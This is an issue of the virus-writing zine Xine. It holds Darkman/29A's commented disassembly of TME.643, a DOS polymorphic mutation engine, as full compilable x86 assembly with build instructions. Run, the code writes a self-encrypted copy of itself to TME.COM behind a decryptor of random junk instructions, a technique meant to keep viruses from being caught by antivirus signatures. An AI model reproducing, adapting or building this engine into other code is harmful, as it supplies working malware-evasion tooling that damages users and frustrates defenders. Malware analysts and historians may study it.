/-----------------------------\ | Xine - issue #3 - Phile 308 | \-----------------------------/ comment * TME.643 Disassembly by Darkman/29A TME.643 is a 643 bytes generator. Generates a new copy of itself, when executed. TME.643 is polymorphic in file using its internal polymorphic engine. Garbage instructions: CMP reg,reg; TEST reg,reg JA/JNBE imm8; JAE/JNC/JNB imm8; JB/JC/JNAE imm8; JBE/JNA imm8; JE/JZ imm8 JG/JNLE imm8; JGE/JNL imm8; JL/JNGE imm8; JLE/JNG imm8; JNE/JNZ imm8 JNO imm8; JNP/JPO imm8; JNS imm8; JO imm8; JP/JPE imm8; JS imm8 NOP; CLD; STD; STI; CMC; CLC; STC Garbage registers: AL; CL; DL; BL; AH; CH; DH; BH; AX; CX; DX; BX; (SP); BP; SI; DI TME decryptor: One to four garbage instruction(s). MOV reg16,DS (Unable to use SP as reg16) One to four garbage instruction(s). MOV DS,reg16 (Unable to use SP as reg16) One to eight garbage instruction(s). One to four garbage instruction(s). MOV reg16,imm16 (Decryption key; Length of encrypted code; Offset of e...) One to two garbage instruction(s). One to eight garbage instruction(s). XOR [SI+imm8],reg16; XOR [DI+imm8],reg16; XOR [BX+SI+imm8],reg16; XOR [BX... One to four garbage instruction(s). INC reg8 (Increase high byte of decryption key) One to four garbage instruction(s). INC reg16 (Increase count register) One to four garbage instruction(s). DEC reg8 (Decrease low byte of decryption key) One to two garbage instruction(s). LOOP imm8 (Garbage generation above decryption opcode) One to four garbage instruction(s). Min. decryptor size: 36 bytes. Max. decryptor size: 134 bytes. I would like to thank my girlfriend for pushing me to finish this disassembly. To compile TME.643 with Turbo Assembler v 4.0 type: TASM /M TME.ASM TLINK /t /x TME.OBJ * .model tiny .code org 100h ; Origin of TME.643 code_begin: call delta_offset delta_offset: pop si ; Load SI from stack sub si,offset delta_offset mov di,100h ; DI = offset of beginning of code add si,di ; SI = " " " " " mov cx,(code_end-code_begin) lea bx,open_file ; BX = offset of open_file cld ; Clear direction flag jmp move_tme_gen open_file: mov [decrypt_off],100h ; Store decryptor's offset lea dx,filename ; DX = offset of filename mov ax,3d02h ; Open file (read/write) int 21h xchg ax,bx ; BX = file handle mov ah,40h ; Write to file xor cx,cx ; CX = number of bytes to write int 21h mov cx,(code_end-code_begin) call tme_poly mov ah,3eh ; Close file int 21h int 20h ; Terminate program! int21_simula proc near ; Simulate interrupt 21h int 21h ret ; Return! endp set_pos_eof proc near ; Set current file position (EOF) mov ax,4202h ; " " " " " xor cx,cx ; Zero CX xor dx,dx ; Zero DX int 21h ret ; Return! endp filename db 'TME.COM',00h ; Filename tme_poly proc near ; TME.643 (polymorphic engine) push bx cx ; Save registers at stack lea di,random_table ; DI = offset of random_table xor ax,ax ; Get system time int 1ah xchg ax,dx ; AX = 16-bit random number mov cx,(random_end-random_begin)/02h mov bx,ax ; BX = 16-bit random number gen_tbl_loop: rcr ax,01h ; AX = " " " jnc sto_rnd_num ; No carry? Jump to sto_rnd_num db 31h,0d8h ; XOR AX,BX sto_rnd_num: stosw ; Store 16-bit random number loop gen_tbl_loop lea si,random_table ; SI = offset of random_table mov cx,(random_end-random_begin)/02h sto_rnd_loop: in al,40h ; AL = 8-bit random number xor [si],al ; Store 8-bit random number inc si ; Increase index register loop sto_rnd_loop lea di,reg16_table ; DI = offset of reg16_table mov cx,06h ; Store twelve bytes xor ax,ax ; Zero AX stosw ; Store zero pop ax ; Load AX from stack (CX) stosw ; Store length of plain code xor ax,ax ; Zero AX rep stosw ; Store zero lea di,destination ; DI = offset of destination lea si,random_table ; SI = offset of random_table xor cx,cx ; Zero CX mov ah,03h ; Generate one to four garbage ins... call gen_garbage dont_use_sp: lodsb ; AL = 8-bit random number and ax,0000000000000111b cmp al,00000100b ; Stack pointer? je dont_use_sp ; Equal? Jump to dont_use_sp xchg al,ah ; AH = random 16-bit register add ax,1101100010001100b stosw ; Store MOV reg16,DS push ax ; Save AX at stack mov ah,03h ; Generate one to four garbage ins... call gen_garbage pop ax ; Load AX from stack add al,00000010b ; MOV DS,reg16 stosw ; Store MOV DS,reg16 mov ah,07h ; Generate one to eight garbage in... call gen_garbage lodsb ; AL = 8-bit random number and ax,0000000000000111b mov [address_mode],al ; Store registers used in decrypt... push si ; Save DI at stack mov si,ax ; SI = random number within seven shl si,01h ; Multiply random number by two add si,offset mode_table jmp [si] mode_si: pop si ; Load SI from stack mov ax,[decrypt_off] ; AX = decryptor's offset add [si_],ax ; Store decryptor's offset or cl,00000110b ; Source index is index register jmp get_key_reg mode_di: pop si ; Load SI from stack mov ax,[decrypt_off] ; AX = decryptor's offset add [di_],ax ; Store decryptor's offset or cl,00000111b ; Destination index is index register jmp get_key_reg mode_bx_si: pop si ; Load SI from stack mov ax,[decrypt_off] ; AX = decryptor's offset mov [si_],ax ; Store decryptor's offset mov ax,[si-01h] ; AX = 16-bit random number sub [si_],ax ; Store 16-bit random number add [bx_],ax ; " " " " or cl,00000011b ; Base register is index register jmp get_key_reg mode_bx_di: pop si ; Load SI from stack mov ax,[decrypt_off] ; AX = decryptor's offset mov [di_],ax ; Store decryptor's offset mov ax,[si] ; AX = 16-bit random number sub [bx_],ax ; Store 16-bit random number add [di_],ax ; " " " " or cl,00000111b ; Destination index is index register jmp get_key_reg mode_bp_si: pop si ; Load SI from stack mov [address_mode],02h ; Store registers used in decrypt... mov ax,[decrypt_off] ; AX = decryptor's offset mov [si_],ax ; Store decryptor's offset mov ax,[si+03h] ; AX = 16-bit random number sub [bp_],ax ; Store 16-bit random number add [si_],ax ; " " " " or cl,00000101b ; Base pointer as index register jmp get_key_reg mode_bp_di: pop si ; Load SI from stack mov [address_mode],03h ; Store registers used in decrypt... mov ax,[decrypt_off] ; AX = decryptor's offset mov [bp_],ax ; Store decryptor's offset mov ax,[si-01h] ; AX = 16-bit random number sub [bp_],ax ; Store 16-bit random number add [di_],ax ; " " " " or cl,00000111b ; Destination index is index register get_key_reg: mov ah,03h ; Generate one to four garbage ins... call gen_garbage get_key_reg_: dec si ; Decrease SI lodsw ; AX = 16-bit random number and ax,0000000000000011b mov bx,ax ; BX = register holding decryption... shl bx,01h ; Multiply register holding decryp... cmp word ptr [bx+reg16_table],00h jnz get_key_reg_ ; Register already in use? Jump to... push ax ; Save AX at stack dec si ; Decrease index register lodsw ; AX = 16-bit random number mov word ptr [bx+reg16_table],ax mov bp,si ; BP = offset within table of rand... lea si,reg16_table ; SI = offset of reg16_table push cx ; Save CX at stack mov cx,08h ; Examine all 16-bit registers mov bx,0000000010111000b examine_loop: lodsw ; AX = 16-bit immediate or ax,ax ; Register in use? jz dont_gen_mov ; Zero? Jump to dont_gen_mov mov [di],bl ; Store MOV reg16,imm16 push bx ; Save BX at stack sub bx,0000000010111000b shl bx,01h ; Multiply register number by two mov word ptr [bx+reg16_table_],01h pop bx ; Load BX from stack inc di ; Increase DI stosw ; Store 16-bit immediate dont_gen_mov: push si ; Save SI at stack mov si,bp ; SI = offset within table of rand... inc bx ; BX = offset of next register wit... mov ah,01h ; Generate one to two garbage inst... call gen_garbage mov bp,si ; BP = offset within table of rand... pop si ; Load SI from stack loop examine_loop mov si,bp ; SI = offset within table of rand... pop cx ax ; Load registers from stack push di ax ; Save registers at stack mov ah,07h ; Generate one to eight garbage in... call gen_garbage mov al,00110001b ; XOR [(reg16+)reg16+imm8],reg16 stosb ; Store XOR [(reg16+)reg16+imm8],r... mov bl,[address_mode] ; BL = address mode number or bl,01000000b ; XOR [(reg16+)reg16+imm8],reg16 pop ax ; Load AX from stack push ax ; Save AX at stack shl ax,01h ; Shift register holding decryptio... shl ax,01h ; " " " " shl ax,01h ; " " " " db 00h,0d8h ; ADD AL,BL stosb ; Store XOR [(reg16+)reg16+imm8],r... mov word ptr [decrypt_off_],di stosb ; Store temporary decryption key mov ah,03h ; Generate one to four garbage ins... call gen_garbage pop ax ; Load AX from stack push ax ; Save AX at stack xchg al,ah ; AH = register holding decryption... add ax,1100000011111110b push ax ; Save AX at stack stosw ; Store INC reg8 mov ah,03h ; Generate one to four garbage ins... call gen_garbage xchg ax,cx ; AX = index register add al,01000000b ; INC reg16 stosb ; Store INC reg16 mov ah,03h ; Generate one to four garbage ins... call gen_garbage pop ax ; Load AX from stack or ah,00001100b ; DEC reg8 stosw ; Store DEC reg8 mov ah,01h ; Generate one to two garbage inst... call gen_garbage mov al,11100010b ; LOOP imm8 (opcode 0e2h) stosb ; Store LOOP imm8 mov ax,di ; AX = offset of LOOP imm8 pop dx bx ; Load registers from stack push dx ; Save DS at stack db 29h,0d8h ; SUB AX,BX not al ; AL = 8-bit immediate stosb ; Store 8-bit immediate mov ah,03h ; Generate one to four garbage ins... call gen_garbage lea si,code_begin ; SI = offset of code_begin mov cx,(code_end-code_begin) push di cx ; Save registers at stack rep movsb ; Move plain code above decryptor pop cx si bx ; Load registers from stack push si ; Save SI at stack shl bx,01h ; Multiply register holding decryp... mov ax,word ptr [bx+reg16_table] encrypt_loop: xor [si],ax ; Encrypt byte of plain code inc al ; Increase high-order byte of encr... dec ah ; Decrease low-order byte of encry... inc si ; Increase index register loop encrypt_loop mov si,word ptr [decrypt_off_] pop ax ; Load AX from stack sub ax,offset destination mov [si],al ; Store 8-bit immediate xchg ax,cx ; CX = length of decryptor add cx,(code_end-code_begin) pop bx ; Load BX from stack mov ah,40h ; Write to file lea dx,destination ; DX = offset of destination call int21_simula call set_pos_eof ret ; Return! gen_garbage proc near ; Generate random number of garbag... push ax cx ; Save registers at stack xor cx,cx ; Zero CX lodsb ; AL = 8-bit random number and al,ah ; AL = random number within range inc al ; Increase random number within range db 88h,0c1h ; MOV CL,AL garbage_loop: lodsb ; AL = 8-bit random number push si ; Save SI at stack test al,00000001b ; Generate one byte opcode? jz gen_one_byte ; Zero? Jump to gen_one_byte lodsb ; AL = 8-bit random number test al,00000001b ; Generate jump on condition? jz gen_jump_con ; Zero? Jump to gen_jump_con lea si,two_bytes ; SI = offset of two_bytes and ax,0000000000000011b shl ax,01h ; Multiply random number by two db 01h,0c6h ; ADD SI,AX movsb ; Move CMP/TEST reg,reg pop si ; Load SI from stack lodsb ; AL = 8-bit random number or al,11000000b ; Generate CMP/TEST reg,reg stosb ; Store CMP/TEST reg,reg jmp next_garbage gen_jump_con: pop si ; Load SI from stack and ax,0000000000000111b add al,01110000b ; Generate jump on condition stosb ; Store jump on condition xor al,al ; Zero AL stosb ; Store 8-bit immediate jmp next_garbage gen_one_byte: lea si,one_bytes ; SI = offset of one_bytes and ax,0000000000000111b db 01h,0c6h ; ADD SI,AX movsb ; Move NOP/CLD/STD/STI/CMC/CLC/STC pop si ; Load SI from stack next_garbage: loop garbage_loop pop cx ax ; Load registers from stack ret ; Return! endp mode_table dw mode_bx_si ; Offset of mode_bx_si dw mode_bx_di ; Offset of mode_bx_di dw mode_bp_si ; Offset of mode_bp_si dw mode_bp_di ; Offset of mode_bp_di dw mode_si ; Offset of mode_si dw mode_di ; Offset of mode_di dw mode_bp_si ; Offset of mode_bp_si dw mode_bp_di ; Offset of mode_bp_di one_bytes: nop ; One byte opcode cld ; " " " std ; " " " sti ; " " " cmc ; " " " clc ; " " " stc ; " " " two_bytes: cmp ax,ax ; Two bytes opcodes test ax,ax ; " " " cmp al,al ; " " " test al,al ; " " " move_tme_gen: rep movsb ; Move generator to beginning of code jmp bx endp code_end: decrypt_off dw ? ; Decryptor's offset address_mode db ? ; Address mode number decrypt_off_ db ? ; Offset of decryption key random_begin: random_table dw 28h dup(?) ; Table of random numbers random_end: reg16_table: ax_ dw ? ; Accumulator register cx_ dw ? ; Count register dx_ dw ? ; Data register bx_ dw ? ; Base register sp_ dw ? ; Stack pointer bp_ dw ? ; Base pointer si_ dw ? ; Source index di_ dw ? ; Destination index reg16_table_ dw 08h dup(?) ; Table of 16-bit registers db 309h dup(?) destination: data_end: end code_begin